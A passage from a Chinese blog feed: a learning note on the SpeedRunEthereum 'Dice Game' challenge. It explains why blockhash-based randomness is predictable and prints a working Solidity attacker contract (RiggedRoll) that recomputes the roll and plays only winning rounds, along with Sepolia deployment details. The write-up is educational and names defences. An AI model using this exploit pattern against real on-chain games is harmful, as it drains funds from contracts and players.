ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> —— 这整个挑战的”原本”</li><li><a class="link" href="https://docs.openzeppelin.com/contracts/erc20" >OpenZeppelin ERC20 文档<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> —— approve / transferFrom 流程</li><li><a class="link" href="https://docs.soliditylang.org/en/v0.8.20/security-considerations.html" >Solidity 0.8.x 安全模式<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> —— CEI、reentrancy</li><li><a class="link" href="https://eips.ethereum.org/EIPS/eip-1967" >EIP-1967<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> —— Proxy Storage Slots(理解为什么 init 是函数不是 constructor)</li></ul><hr><h2 id="🏆-成果"><a href="#🏆-成果" class="headerlink" title="🏆 成果"></a>🏆 成果</h2><ul><li>✅ 12/12 forge 测试通过</li><li>✅ Debug 标签页 UI 实测 4 个 swap 场景 + deposit/withdraw 全部对账</li><li>✅ 完整理解 AMM 数学、ERC20 机制、Solidity 工程实践</li><li>✅ 学会了 Debug 实战(ABI 错误诊断、bytecode 过期)</li></ul><p><strong>最大的认知升级</strong>:”合约不是装币的容器,是记币归属的账本”——这个反直觉点理解了,DeFi 80% 的概念就通了。</p>]]></content>
<summary type="html"></summary>
<category term="区块链开发" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%BC%80%E5%8F%91/"/>
<category term="SpeedRunEthereum" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%BC%80%E5%8F%91/SpeedRunEthereum/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="SpeedRunEthereum" scheme="https://kylinxin.github.io/tags/SpeedRunEthereum/"/>
<category term="Scaffold-ETH 2" scheme="https://kylinxin.github.io/tags/Scaffold-ETH-2/"/>
<category term="Foundry" scheme="https://kylinxin.github.io/tags/Foundry/"/>
<category term="ERC-20" scheme="https://kylinxin.github.io/tags/ERC-20/"/>
<category term="DeFi" scheme="https://kylinxin.github.io/tags/DeFi/"/>
<category term="AMM" scheme="https://kylinxin.github.io/tags/AMM/"/>
</entry>
<entry>
<title>SpeedRunEthereum 靶场学习笔记 03:Dice Game</title>
<link href="https://kylinxin.github.io/2026/06/24/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2003%EF%BC%9ADice%20Game/"/>
<id>https://kylinxin.github.io/2026/06/24/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2003%EF%BC%9ADice%20Game/</id>
<published>2026-06-24T01:00:00.000Z</published>
<updated>2026-06-25T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 SpeedRunEthereum 靶场个人学习笔记。第 3 关 Dice Game 聚焦可预测的链上随机数、同交易攻击、ETH 接收、Ownable 权限控制,以及从本地测试到 Sepolia 和 Vercel 的完整部署流程。</p></blockquote><blockquote><p><strong>Challenge</strong>: <a class="link" href="https://speedrunethereum.com/challenge/dice-game" >speedrunethereum.com/challenge/dice-game<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a><br><strong>状态</strong>: ✅ ACCEPTED(Ethereum 101 · 5/5;8/8 本地测试、Sepolia 部署、Etherscan 验证、Vercel 上线和靶场提交均已完成)<br><strong>框架</strong>: Foundry<br><strong>日期</strong>: 2026/06/24<br><strong>XP</strong>: +10(Ethereum 101 · 5/5)</p></blockquote><hr><h2 id="🚀-部署信息(我的-Sepolia-上线)"><a href="#🚀-部署信息(我的-Sepolia-上线)" class="headerlink" title="🚀 部署信息(我的 Sepolia 上线)"></a>🚀 部署信息(我的 Sepolia 上线)</h2><table><thead><tr><th>项目</th><th>值</th></tr></thead><tbody><tr><td><strong>DiceGame</strong></td><td><code>0x452a44a69a831D6EeeA1a890Cb35dbEE46B4d8aF</code></td></tr><tr><td><strong>RiggedRoll</strong></td><td><code>0xD231ba0a1FbD4A4A459a1B4A46BA6383Ae5D0Bc8</code></td></tr><tr><td><strong>Deployer 账户</strong></td><td><code>0x6d1cD1d9F7226De5af18a7f9fD64E3aA6e81ca04</code>(<code>kylinxin</code> keystore)</td></tr><tr><td><strong>Vercel 生产</strong></td><td><a class="link" href="https://dicegame-o88gj1h72-spacex3.vercel.app/" >https://dicegame-o88gj1h72-spacex3.vercel.app<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td><strong>Vercel 别名</strong></td><td><a class="link" href="https://dicegame-ky.vercel.app/" >https://dicegame-ky.vercel.app<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td><strong>Vercel 项目</strong></td><td><code>spacex3/dicegame-ky</code></td></tr><tr><td><strong>网络</strong></td><td>Sepolia(chain id 11155111)</td></tr><tr><td><strong>部署区块</strong></td><td>11128616</td></tr></tbody></table><h3 id="部署交易"><a href="#部署交易" class="headerlink" title="部署交易"></a>部署交易</h3><table><thead><tr><th>合约</th><th>Tx Hash</th><th>Gas</th><th>费用</th></tr></thead><tbody><tr><td><strong>DiceGame</strong></td><td><code>0x1abec1c633e03d0d9524f70111219dd3a52af936fc7a9ac0024c69ca47868604</code></td><td>272,763</td><td>0.000293829 ETH</td></tr><tr><td><strong>RiggedRoll</strong></td><td><code>0x0803646835d3c9b0f02540baac1ca315349ff7cd1d44a349e94f15a504f4b91c</code></td><td>395,764</td><td>0.000426329 ETH</td></tr><tr><td><strong>总计</strong></td><td>—</td><td>668,527</td><td><strong>0.000720159 ETH</strong></td></tr></tbody></table><h3 id="部署时实际命令"><a href="#部署时实际命令" class="headerlink" title="部署时实际命令"></a>部署时实际命令</h3><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">yarn deploy --network sepolia</span><br><span class="line"><span class="comment"># 选择 #2 = kylinxin keystore,输入密码</span></span><br><span class="line"><span class="comment"># 编译(No files changed, compilation skipped)</span></span><br><span class="line"><span class="comment"># 自动脚本:构造 + 部署 + 广播</span></span><br></pre></td></tr></table></figure></div><blockquote><p>部署走 <code>DeployDiceGame.s.sol</code>,会自动:</p><ol><li><code>new DiceGame{ value: 0.05 ether }()</code> 部署 + 注资</li><li><code>new RiggedRoll(payable(address(diceGame)))</code> 部署 RiggedRoll</li><li>按部署脚本完成 <code>RiggedRoll</code> 所有权设置</li></ol></blockquote><h3 id="Etherscan-链接"><a href="#Etherscan-链接" class="headerlink" title="Etherscan 链接"></a>Etherscan 链接</h3><ul><li>DiceGame: <a class="link" href="https://sepolia.etherscan.io/address/0x452a44a69a831D6EeeA1a890Cb35dbEE46B4d8aF" >https://sepolia.etherscan.io/address/0x452a44a69a831D6EeeA1a890Cb35dbEE46B4d8aF<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>RiggedRoll: <a class="link" href="https://sepolia.etherscan.io/address/0xD231ba0a1FbD4A4A459a1B4A46BA6383Ae5D0Bc8" >https://sepolia.etherscan.io/address/0xD231ba0a1FbD4A4A459a1B4A46BA6383Ae5D0Bc8<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Deploy Tx 1 (DiceGame): <a class="link" href="https://sepolia.etherscan.io/tx/0x1abec1c633e03d0d9524f70111219dd3a52af936fc7a9ac0024c69ca47868604" >https://sepolia.etherscan.io/tx/0x1abec1c633e03d0d9524f70111219dd3a52af936fc7a9ac0024c69ca47868604<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Deploy Tx 2 (RiggedRoll): <a class="link" href="https://sepolia.etherscan.io/tx/0x0803646835d3c9b0f02540baac1ca315349ff7cd1d44a349e94f15a504f4b91c" >https://sepolia.etherscan.io/tx/0x0803646835d3c9b0f02540baac1ca315349ff7cd1d44a349e94f15a504f4b91c<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul><h3 id="Vercel-部署"><a href="#Vercel-部署" class="headerlink" title="Vercel 部署"></a>Vercel 部署</h3><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">yarn vercel --prod</span><br><span class="line"><span class="comment"># 设置和部署确认:是</span></span><br><span class="line"><span class="comment"># 范围:zz</span></span><br><span class="line"><span class="comment"># 链接到已有项目:否(创建新项目)</span></span><br><span class="line"><span class="comment"># 项目名:dicegame-ky</span></span><br><span class="line"><span class="comment"># 代码目录:./</span></span><br><span class="line"><span class="comment"># 修改项目设置:否</span></span><br><span class="line"><span class="comment"># ✅ Production: https://dicegame-o88gj1h72-spacex3.vercel.app</span></span><br><span class="line"><span class="comment"># 🔗 Aliased: https://dicegame-ky.vercel.app</span></span><br></pre></td></tr></table></figure></div><blockquote><p>线上配置已将 <code>packages/nextjs/scaffold.config.ts</code> 的 <code>targetNetwork</code> 设为 <code>chains.sepolia</code>,Vercel 前端连接 Sepolia。</p></blockquote><hr><h2 id="📋-项目总览"><a href="#📋-项目总览" class="headerlink" title="📋 项目总览"></a>📋 项目总览</h2><p>链上掷骰子游戏 + <strong>攻击者合约</strong>。<code>DiceGame</code> 是”庄家”(出题人提供,DO NOT EDIT),我们要写一个 <code>RiggedRoll</code> 来<strong>预测随机数</strong>、<strong>只赢才掷</strong>。</p><h3 id="教学价值(这个挑战想让你懂的)"><a href="#教学价值(这个挑战想让你懂的)" class="headerlink" title="教学价值(这个挑战想让你懂的)"></a>教学价值(这个挑战想让你懂的)</h3><ol><li><strong>合约怎么收 ETH</strong> —— <code>receive() external payable</code></li><li><strong>同交易攻击</strong>(same-tx attack)—— 合约内同步读取的公开链上数据不能充当不可预测随机源</li><li><strong><code>Ownable</code> 访问控制</strong> —— 谁能动钱,谁不能动</li><li><strong><code>call{value: ...}</code></strong> 转账及其返回值检查</li><li><strong>为什么不能用 <code>blockhash</code> 做随机</strong> —— NFT 公平 mint / DeFi 清算 / 抽奖全踩过这个坑</li></ol><blockquote><p><strong>关键洞察</strong>:本题使用的上一块 <code>blockhash</code>、合约地址和公开 <code>nonce</code> 都能被攻击合约在调用前复算。同理,<code>block.prevrandao</code>、<code>block.timestamp</code> 等当前交易可读数据也不能单独作为安全随机源;需要使用 <a class="link" href="https://docs.chain.link/vrf" >Chainlink VRF<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>、commit-reveal 等方案引入不可预先获知的信息。</p></blockquote><hr><h2 id="🎲-游戏规则"><a href="#🎲-游戏规则" class="headerlink" title="🎲 游戏规则"></a>🎲 游戏规则</h2><p><code>DiceGame</code> 合约(<code>packages/foundry/contracts/DiceGame.sol</code>):</p><ul><li>玩家每次必须付 <strong>0.002 ETH</strong> 才能掷一次</li><li>合约掷出 <strong>0–15</strong> 的”随机数”</li><li><strong>点数 ≤ 5</strong>(6/16 ≈ 37.5% 胜率)→ <strong>玩家赢</strong></li><li>否则 → 玩家输,钱归合约</li></ul><h3 id="钱怎么分"><a href="#钱怎么分" class="headerlink" title="钱怎么分"></a>钱怎么分</h3><p>每次 0.002 ETH 拆成:</p><table><thead><tr><th>比例</th><th>金额</th><th>去向</th></tr></thead><tbody><tr><td>40%</td><td>0.0008 ETH</td><td>滚入<strong>奖池</strong>(给未来赢家)</td></tr><tr><td>60%</td><td>0.0012 ETH</td><td><strong>庄家抽水</strong>,永远留在合约里</td></tr></tbody></table><h3 id="赢的瞬间"><a href="#赢的瞬间" class="headerlink" title="赢的瞬间"></a>赢的瞬间</h3><ul><li>赢家<strong>一次性拿走整个当前奖池</strong></li><li>奖池<strong>重置</strong>为「合约余额的 10%」(庄家把之前抽的水又压回去)</li><li>发起新一局,奖池重新积累</li></ul><hr><h2 id="🐛-漏洞在哪里"><a href="#🐛-漏洞在哪里" class="headerlink" title="🐛 漏洞在哪里"></a>🐛 漏洞在哪里</h2><p>DiceGame 算”随机数”的方式:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">bytes32 prevHash = blockhash(block.number - 1);</span><br><span class="line">bytes32 hash = keccak256(abi.encodePacked(prevHash, address(this), nonce));</span><br><span class="line">uint256 roll = uint256(hash) % 16;</span><br></pre></td></tr></table></figure></div><p>看起来随机,但<strong>三个输入全是公开的</strong>:</p><ul><li><code>blockhash(block.number - 1)</code> —— 任何人都能读</li><li><code>address(this)</code> —— 合约地址,公开</li><li><code>nonce</code> —— 公开的 state variable</li></ul><p>所以<strong>另一个合约可以在同一笔交易里”算一遍”</strong> DiceGame 会算出的数。<strong>只在自己必胜的时候才付 0.002 ETH 去掷</strong>。</p><blockquote><p>这就是”庄家模式” —— 知道自己掷出啥,> 5 就 revert,≤ 5 才花那 0.002 ETH。</p></blockquote><hr><h2 id="📜-最终合约代码(RiggedRoll-sol)"><a href="#📜-最终合约代码(RiggedRoll-sol)" class="headerlink" title="📜 最终合约代码(RiggedRoll.sol)"></a>📜 最终合约代码(<code>RiggedRoll.sol</code>)</h2><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line">// SPDX-License-Identifier: MIT</span><br><span class="line">pragma solidity >=0.8.0 <0.9.0;</span><br><span class="line"></span><br><span class="line">import "./DiceGame.sol";</span><br><span class="line">import "@openzeppelin/contracts/access/Ownable.sol";</span><br><span class="line"></span><br><span class="line">contract RiggedRoll is Ownable {</span><br><span class="line"> /////////////////</span><br><span class="line"> /// Errors //////</span><br><span class="line"> /////////////////</span><br><span class="line"> error NotEnoughETH(uint256 required, uint256 available);</span><br><span class="line"> error NotWinningRoll(uint256 roll);</span><br><span class="line"> error InsufficientBalance(uint256 required, uint256 available);</span><br><span class="line"></span><br><span class="line"> //////////////////////</span><br><span class="line"> /// State Variables //</span><br><span class="line"> //////////////////////</span><br><span class="line"> DiceGame public diceGame;</span><br><span class="line"></span><br><span class="line"> ///////////////////</span><br><span class="line"> /// Constructor ///</span><br><span class="line"> ///////////////////</span><br><span class="line"> constructor(address payable diceGameAddress) Ownable(msg.sender) {</span><br><span class="line"> diceGame = DiceGame(diceGameAddress);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> ///////////////////</span><br><span class="line"> /// Functions /////</span><br><span class="line"> ///////////////////</span><br><span class="line"></span><br><span class="line"> // Checkpoint 2: 预测 + 只赢才掷</span><br><span class="line"> function riggedRoll() external {</span><br><span class="line"> uint256 required = 0.002 ether;</span><br><span class="line"> if (address(this).balance < required) {</span><br><span class="line"> revert NotEnoughETH(required, address(this).balance);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // 复刻 DiceGame 的随机数计算</span><br><span class="line"> bytes32 prevHash = blockhash(block.number - 1);</span><br><span class="line"> bytes32 hash = keccak256(abi.encodePacked(prevHash, address(diceGame), diceGame.nonce()));</span><br><span class="line"> uint256 roll = uint256(hash) % 16;</span><br><span class="line"></span><br><span class="line"> if (roll > 5) {</span><br><span class="line"> revert NotWinningRoll(roll);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> diceGame.rollTheDice{value: required}();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // Checkpoint 1: 接收 ETH</span><br><span class="line"> receive() external payable {</span><br><span class="line"> // This function is called when the contract receives Ether</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // Checkpoint 3: 提现</span><br><span class="line"> function withdraw(address _addr, uint256 _amount) external onlyOwner {</span><br><span class="line"> if (address(this).balance < _amount) {</span><br><span class="line"> revert InsufficientBalance(_amount, address(this).balance);</span><br><span class="line"> }</span><br><span class="line"> // 用 call 把 _amount 发给 _addr</span><br><span class="line"> (bool success, ) = _addr.call{value: _amount}("");</span><br><span class="line"> require(success, "Transfer failed.");</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h3 id="💡-几个值得记的小细节"><a href="#💡-几个值得记的小细节" class="headerlink" title="💡 几个值得记的小细节"></a>💡 几个值得记的小细节</h3><ul><li><strong><code>receive()</code> 没有 <code>function</code> 关键字</strong> —— 它是 Solidity 的特殊函数</li><li><strong><code>_addr.call{value: _amount}("")</code> 走的是 <code>address</code> 类型</strong>,不需要先转 <code>payable(address)</code></li><li><strong><code>Ownable(msg.sender)</code> 在构造时把 deployer 设为初始 owner</strong></li><li><strong>错误参数名和 interface 不一致也无所谓</strong> —— Solidity 自定义错误的 selector 只看名字,不看参数名</li></ul><hr><h2 id="🎓-教学流程回顾"><a href="#🎓-教学流程回顾" class="headerlink" title="🎓 教学流程回顾"></a>🎓 教学流程回顾</h2><h3 id="Checkpoint-1:Receiving-ETH(receive-)"><a href="#Checkpoint-1:Receiving-ETH(receive-)" class="headerlink" title="Checkpoint 1:Receiving ETH(receive())"></a>Checkpoint 1:Receiving ETH(<code>receive()</code>)</h3><p><strong>问题</strong>:如果 RiggedRoll 没有 <code>receive()</code>,DiceGame 发奖时会发生什么?</p><p><strong>答</strong>:DiceGame 向 RiggedRoll 发放奖金时会触发裸 ETH 转账;如果没有 <code>receive() external payable</code>,收款会 revert,整笔中奖交易也会失败。</p><p><strong>验证结论</strong>:✅ <code>receive()</code>、裸 ETH 转账与 revert 传播关系均已确认。</p><p><strong>关键概念</strong>:</p><ul><li>合约默认<strong>收不到 ETH</strong></li><li><code>receive() external payable {}</code> 是接收”裸 ETH”(无 calldata)的入口</li><li>没有 <code>receive()</code> 时,<strong>转账会 revert</strong>,整笔交易失败</li></ul><hr><h3 id="Checkpoint-2:Predicting-Randomness(riggedRoll-)"><a href="#Checkpoint-2:Predicting-Randomness(riggedRoll-)" class="headerlink" title="Checkpoint 2:Predicting Randomness(riggedRoll())"></a>Checkpoint 2:Predicting Randomness(<code>riggedRoll()</code>)</h3><p><strong>问题</strong>:为什么 RiggedRoll 能预测 DiceGame 的”随机”数?</p><p><strong>答(教学版)</strong>:</p><ul><li>同一笔交易 / 同一区块,三个输入(<code>blockhash</code>、<code>address</code>、<code>nonce</code>)<strong>全是公开的</strong></li><li>在调用 <code>rollTheDice()</code> <strong>之前</strong>就能算出 roll 值</li><li>≤ 5 才掷,> 5 直接 revert,省 0.002 ETH</li></ul><p><strong>代码逻辑顺序</strong>:</p><ol><li>余额检查 → <code>NotEnoughETH</code></li><li>复刻哈希计算</li><li><code>roll > 5</code> → <code>NotWinningRoll</code></li><li><code>diceGame.rollTheDice{value: required}()</code></li></ol><hr><h3 id="Checkpoint-3:Withdrawing-Funds(withdraw-)"><a href="#Checkpoint-3:Withdrawing-Funds(withdraw-)" class="headerlink" title="Checkpoint 3:Withdrawing Funds(withdraw())"></a>Checkpoint 3:Withdrawing Funds(<code>withdraw()</code>)</h3><p><strong>问题</strong>:为什么 <code>withdraw()</code> 必须有 <code>onlyOwner</code>?</p><p><strong>答</strong>:没有的话任何人都能调,钱会被抽光(drain)</p><p><strong>实现细节</strong>:</p><ul><li>余额检查用自定义错误 <code>InsufficientBalance</code>(更省 gas + 信息更丰富)</li><li>用 <code>_addr.call{value: _amount}("")</code> 而不是 <code>.transfer()</code>(后者只转发 2300 gas,会让合约钱包卡住)</li><li>必须 <code>require(success, ...)</code> 检查返回值</li></ul><hr><h2 id="📊-资金会计模型(4-玩家例子)"><a href="#📊-资金会计模型(4-玩家例子)" class="headerlink" title="📊 资金会计模型(4 玩家例子)"></a>📊 资金会计模型(4 玩家例子)</h2><p>合约部署时 <code>constructor() payable</code> 注资 <strong>0.05 ETH</strong>。<br><code>resetPrize()</code> 在 constructor 里执行一次,初始 <code>prize = 0.05 * 10% = 0.005 ETH</code>。</p><table><thead><tr><th>阶段</th><th>操作</th><th>合约余额</th><th>奖池 (prize)</th><th>备注</th></tr></thead><tbody><tr><td>初始</td><td>—</td><td>0.05</td><td>0.005</td><td>constructor 注资 + resetPrize</td></tr><tr><td>Roll 1</td><td>Alice 付 0.002,掷 11(<strong>输</strong>)</td><td>0.052</td><td>0.0058</td><td>prize += 0.0008,return</td></tr><tr><td>Roll 2</td><td>Bob 付 0.002,掷 9(<strong>输</strong>)</td><td>0.054</td><td>0.0066</td><td>同上</td></tr><tr><td>Roll 3</td><td>Charlie 付 0.002,掷 3(<strong>赢</strong>)</td><td>0.056 → 0.0486</td><td>0.0074 → 0.00486</td><td>发奖后 resetPrize = 0.0486 × 10%</td></tr><tr><td>Roll 4</td><td>Dave 付 0.002,掷 8(<strong>输</strong>)</td><td>0.0506</td><td>0.00566</td><td>新一局开始累积</td></tr></tbody></table><h3 id="关键洞察"><a href="#关键洞察" class="headerlink" title="关键洞察"></a>关键洞察</h3><ol><li><strong>奖池 ≠ 合约余额</strong> —— 合约余额 = 奖池 + 累计庄家抽水 + 初始注资</li><li><strong>赢的人拿走的是「更新后的 prize」</strong> —— 自己的 40% 也算进去了</li><li><strong><code>resetPrize()</code> 公式</strong>:<code>prize = address(this).balance * 10%</code>,所以<strong>重置后立刻变小</strong>(因为刚发完奖,余额缩水)</li><li><strong>越晚赢越赚</strong> —— 奖池会随着输家持续投入而膨胀</li></ol><h3 id="算式"><a href="#算式" class="headerlink" title="算式"></a>算式</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">每次 roll:</span><br><span class="line"> msg.value = 0.002 ETH</span><br><span class="line"> prize_delta = 0.002 × 40% = 0.0008 ETH</span><br><span class="line"> house_delta = 0.002 × 60% = 0.0012 ETH</span><br><span class="line"> contract_balance_delta = 0.002 ETH</span><br><span class="line"></span><br><span class="line">赢了:</span><br><span class="line"> 发奖 amount = prize</span><br><span class="line"> contract_balance -= amount</span><br><span class="line"> prize = contract_balance × 10% ← resetPrize</span><br></pre></td></tr></table></figure></div><hr><h2 id="🧪-本地端到端测试流程(实战)"><a href="#🧪-本地端到端测试流程(实战)" class="headerlink" title="🧪 本地端到端测试流程(实战)"></a>🧪 本地端到端测试流程(实战)</h2><h3 id="准备阶段"><a href="#准备阶段" class="headerlink" title="准备阶段"></a>准备阶段</h3><h4 id="⚠️-调整-A:前端启用-“Rigged-Roll-”-按钮"><a href="#⚠️-调整-A:前端启用-“Rigged-Roll-”-按钮" class="headerlink" title="⚠️ 调整 A:前端启用 “Rigged Roll!” 按钮"></a>⚠️ 调整 A:前端启用 “Rigged Roll!” 按钮</h4><p><code>packages/nextjs/app/dice/page.tsx</code> 第 153–170 行的 <code><button></code> 默认被 <code>{/* ... */}</code> 注释。解开它:</p><div class="code-container" data-rel="Tsx"><figure class="iseeu highlight tsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">{<span class="comment">/* 改之前 */</span>}</span><br><span class="line">{<span class="comment">/* <button onClick={...}>Rigged Roll!</button> */</span>}</span><br><span class="line"></span><br><span class="line">{<span class="comment">/* 改之后 */</span>}</span><br><span class="line"><button</span><br><span class="line"> onClick={<span class="title function_">async</span> () => {</span><br><span class="line"> ...</span><br><span class="line"> <span class="keyword">await</span> <span class="title function_">writeRiggedRollAsync</span>({ <span class="attr">functionName</span>: <span class="string">"riggedRoll"</span> });</span><br><span class="line"> ...</span><br><span class="line"> }}</span><br><span class="line"> className=<span class="string">"mt-2 btn btn-secondary btn-xl normal-case font-xl text-lg"</span></span><br><span class="line">></span><br><span class="line"> <span class="title class_">Rigged</span> <span class="title class_">Roll</span>!</span><br><span class="line"></button></span><br></pre></td></tr></table></figure></div><h4 id="⚠️-调整-B:部署脚本把-owner-转给前端地址"><a href="#⚠️-调整-B:部署脚本把-owner-转给前端地址" class="headerlink" title="⚠️ 调整 B:部署脚本把 owner 转给前端地址"></a>⚠️ 调整 B:部署脚本把 owner 转给前端地址</h4><p><code>packages/foundry/script/DeployDiceGame.s.sol</code> 默认 owner 是 Anvil deployer(不是浏览器钱包)。改完才能用前端调 <code>withdraw</code>:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">// Uncomment to deploy RiggedRoll contract</span><br><span class="line">RiggedRoll riggedRoll = new RiggedRoll(payable(address(diceGame)));</span><br><span class="line">// console.logString(string.concat("RiggedRoll deployed at: ", vm.toString(address(riggedRoll))));</span><br><span class="line"></span><br><span class="line">// 把 owner 转给前端钱包</span><br><span class="line">riggedRoll.transferOwnership(0x7FB24f7c6BE7fE61dA353E2A0fE38b310aE71f17);</span><br></pre></td></tr></table></figure></div><blockquote><p>替换成你自己的前端钱包地址(连上 MetaMask 后右上角能看到)。</p></blockquote><h3 id="启动三个终端"><a href="#启动三个终端" class="headerlink" title="启动三个终端"></a>启动三个终端</h3><table><thead><tr><th>终端</th><th>命令</th><th>说明</th></tr></thead><tbody><tr><td>A</td><td><code>yarn chain</code></td><td>本地 Anvil 链(:8545)</td></tr><tr><td>B</td><td><code>yarn deploy --reset</code></td><td>重新部署</td></tr><tr><td>C</td><td><code>yarn start</code></td><td>Next.js 前端(:3000)</td></tr></tbody></table><h3 id="浏览器演练"><a href="#浏览器演练" class="headerlink" title="浏览器演练"></a>浏览器演练</h3><ol><li>打开 <a class="link" href="http://localhost:3000/" >http://localhost:3000<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> → 连接 MetaMask</li><li>左下角 <strong>Faucet</strong> 给自己充点 ETH</li><li><strong>手动 roll 几次</strong> <code>Roll the dice!</code> —— 让奖池涨起来</li><li><strong>给 RiggedRoll 充钱</strong>:用 MetaMask Send 0.01 ETH 给 RiggedRoll 地址</li><li>点 <strong>“Rigged Roll!”</strong>:<ul><li>预测到 > 5 → MetaMask 里<strong>直接 Failed</strong>,0.002 ETH 不动</li><li>预测到 ≤ 5 → 成功,拿走当前奖池</li></ul></li><li>切到 Debug Contracts 调 <code>withdraw(我的地址, 余额)</code> 提现</li></ol><hr><h2 id="🐞-实战中踩过的坑(重要)"><a href="#🐞-实战中踩过的坑(重要)" class="headerlink" title="🐞 实战中踩过的坑(重要)"></a>🐞 实战中踩过的坑(<strong>重要</strong>)</h2><h3 id="坑-1:Debug-Contracts-看不到-receive"><a href="#坑-1:Debug-Contracts-看不到-receive" class="headerlink" title="坑 1:Debug Contracts 看不到 receive()"></a>坑 1:Debug Contracts 看不到 <code>receive()</code></h3><p><strong>现象</strong>:在 <code>RiggedRoll</code> 的 Write 方法列表里没有 <code>receive()</code></p><p><strong>原因</strong>:<code>receive()</code> 是 Solidity 特殊函数,<strong>不通过函数选择器触发</strong>,Debug UI 只列可主动调用的方法</p><p><strong>解决</strong>:直接用 MetaMask Send ETH 给合约地址,或 <code>cast send</code> 低层调用</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/03-dicegame-01-debug-no-receive.png" alt="Debug Contracts 页面,RiggedRoll 没有 receive 